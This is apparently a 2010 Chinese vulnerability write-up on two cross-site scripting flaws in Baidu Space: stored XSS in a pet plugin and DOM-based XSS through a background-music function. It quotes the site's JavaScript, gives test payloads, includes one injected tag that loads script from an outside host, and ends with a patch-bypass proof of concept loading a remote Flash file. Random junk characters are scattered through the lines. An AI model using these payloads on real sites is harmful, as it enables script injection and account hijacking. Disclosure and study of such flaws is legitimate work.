百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
}0 M5 @; M. f9 k! P( ?) S* u* \* F1 S9 @ V% s5 b! c
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
' r8 V5 W- a- x; T% | A$ H2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 7 S/ `! ?$ @! N* s
, k$ m) C$ K) x& C将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 2 K* `) M& f% M& c {
其中BdUtil.insertWBR为 1 k4 w! r1 t1 \/ A
function(text, step) {
# | n* G( g) J( x var textarea = textAreaCache || getContainer(); d# S! m U# Y
if (!textarea) {
% f8 [1 x" C' ] return text; / N: x- r6 S" V; `8 O3 o
} 9 O$ d( w g+ q; o( `' k2 ]
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); - }: J9 ?) N! k1 D% i1 j: Q
var string = textarea.value;
6 A) }4 L8 `% A m var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ( G* S( H- M. N% l
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
- N: S8 Z: ?9 w& Y+ Y return result;
; x7 k1 | _' H6 |} 3 J2 j) K/ F* s ~: f1 c' q& h
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
5 _6 p* S. b1 a; T* M+ n. ^测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> * J: _: d+ _- p \8 A7 j3 l
1 e0 S, e: Q& G二:creatbgmusic() Dom-Xss Bug - C+ i- M$ x+ D
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
; k+ u4 Q- M" ?1 K* x: n1 H# G ^4 z: F0 g/ |* g
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
5 o, E' Y7 i3 Z
4 K0 F# R3 f& P, q Ffunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { % I1 J1 V5 }* R& w
//传入的murl赋值到bgmusic1和bgmusic2中 . k- t2 f- |' V2 ] @4 \8 i
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
- f: I5 Z/ j8 Z; e var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 8 P$ f- [+ V: l' J( x# J |* s
if (musicnum <= 1) {
% I5 L- [* f8 z$ P; l8 g: k bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
' W/ u/ e7 X$ l1 _2 t9 ^# X }
/ j! b# A; v% H2 F bgmusic1 += "</OBJECT>"; , E6 f+ X2 u& O, q4 I0 D! u
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
( N) e0 S. Y% }9 X5 g9 D if (musicnum <= 1) {
" H5 b; i$ J- l4 E) v8 e$ b! T8 j bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; $ x+ I4 J. E( O/ G* }
} # c8 E) y; n+ _/ ]; J F
bgmusic2 += "> </EMBED>"; % _ j: P% j# }6 Z
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
, l( Y" J0 x7 \1 U var bgmus = detectWMP(); ) Y7 \2 i3 I9 |1 g4 ^
if (functype == "FckMusicHelper") {
( T" m, z; q# ?/ P& [ if (bgmus.installed) { , m8 X2 M/ O* i$ I
if (bgmus.type == "IE") {
, w+ g C( @+ B, H0 ?8 d$ H5 } return bgmusic1; 2 s3 h. G: L! T; f% U+ a) @
} else if (bgmus.type == "NS") {
: I9 u; t/ `: L. U- f' N, |, _ return bgmusic2;
. a) T2 j6 Z* B& p: I! o } * I$ X, y( f- O: [; q
} else { ( \4 w/ l2 W1 R: q) I( m( `
return bgmusic3; 5 u3 D* G {) }1 x2 O
}
1 u7 \3 k9 G% N5 W- @8 F2 Q } else { ! \1 G& Q) s( Y. q8 R- c
if (bgmus.installed) { ' P: t Z9 h2 B2 e
//document.write 直接输出bgmusic变量 导致xss
) H5 h, S v9 I' [ if (bgmus.type == "IE") { 3 K0 m5 T. h( ?1 H
document.write(bgmusic1);
9 r0 ?* [( R( n' }6 u) t1 i } else if (bgmus.type == "NS") {
2 ?& g" ^# _) I9 i( ^ document.write(bgmusic2);
\ _0 B4 Z: ^. u3 w }
& ?" w: W+ h3 o6 l0 l5 _ } else { - O5 I& c! u6 O
document.write(bgmusic3); ( q5 F+ K9 X! i) C, ^+ y6 W0 d# R+ Z' \
}
. S3 S: C& r$ p/ d, s return ""; : F3 B/ B* g, f, c$ @) `% n
} 1 i' P+ n- K+ b$ E7 F& v6 H/ ^
}
( E7 w1 h0 H0 K( S& ~. M6 T6 A% C5 P) n' f3 R5 o" i* Y
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: * f$ S; b5 c& S: h. m
2 ^6 V; H0 v/ j7 H
function initBlogTextForFCK(){
2 O3 u# e( z" K, w4 ~; k//fck init music
7 u1 O4 k8 B! K3 p8 T/ K8 H7 e: ]if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} ' ?0 S C5 \% g# f7 f
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 4 c: ], n2 ^8 q( D+ R# X
var isAutoPlay=true;
{/ ~1 n" p7 |( Qfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
8 E3 W# n) E9 X5 K/ i# I. z var img=imgBox; ( L% R7 k- \2 k
if(img.getAttribute(’rel’)){
+ c0 x% f8 n: {. H ~) g1 B0 }: r var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
- n, F+ x$ d# M' T var musicDiv = document.createElement("SPAN"); M i- D m# c3 h/ d; L8 m \+ y
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 7 v# c3 ^( r8 y/ h1 x4 j
1 P3 R* J. z1 `7 e
.......................... ( I0 D' [, [( \; \2 I
+ X/ T5 E4 [% C- w' ?% `
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
7 w+ y) ?* @7 ~1 }: d1 e var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ' h5 V5 ?* M3 g8 F. R! P
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ; a/ ^8 j# n- B; u
musicDiv.innerHTML=shtml;
$ ~ Q$ q& K, w! f( k i--;n--; D% K0 E3 o% F' v1 o" n0 \
} + T7 H' C3 M2 `3 z8 x; M+ J
}
: x9 B8 v! q5 D3 {5 w% C3 z& s& L! g) p
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
) ?8 s4 u+ B0 i$ @$ b1 {1 g
0 I2 J/ F5 j- }1 S' Y9 T测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
$ c6 r5 E5 C, o' n3 _8 C L: t) \) H, I/ i
等待官方补丁 7 k9 V! l) m( o" n+ c
/ n# s0 L3 A( T* y: }6 _; [
update 2010年5月13日
3 @' E/ q, h$ H- G+ Z ]$ C. L8 T' W5 E. L' l1 S" M0 ^
官方补丁:
/ ^( _, ?" A2 v8 F
/ N! Y0 S$ ?3 Qvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
) o: T$ a& L, j& M( ~4 r9 m改为: 1 d: Y; b! l; r' H/ D
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); , \# }; _/ w( T2 U8 ]' `& d" j, j5 ]4 N7 v. _
3 G1 F; w/ p/ b7 `0 i1 ?
update 2010年5月13日 21:50:37 . B2 C% y- L% e5 g6 j' A
: ?7 A! B, Q' E4 @1 H
补丁存在漏洞 没有过滤" 可以继续跨: # P: y+ c* Q1 w: B( E- @1 i$ z
$ \/ f6 H7 k! n \5 g
NEW POC:
+ S" M3 @+ ~( U, A; O
) [: A: k6 L& C; f2 V% z; n<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" " [0 Y5 s) i- |1 h; e$ V* @: [
0 A' \& Q. F! l- xallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>4 S9 y# x% h- E0 H' |
, w" `6 P8 W0 v l" E" \ |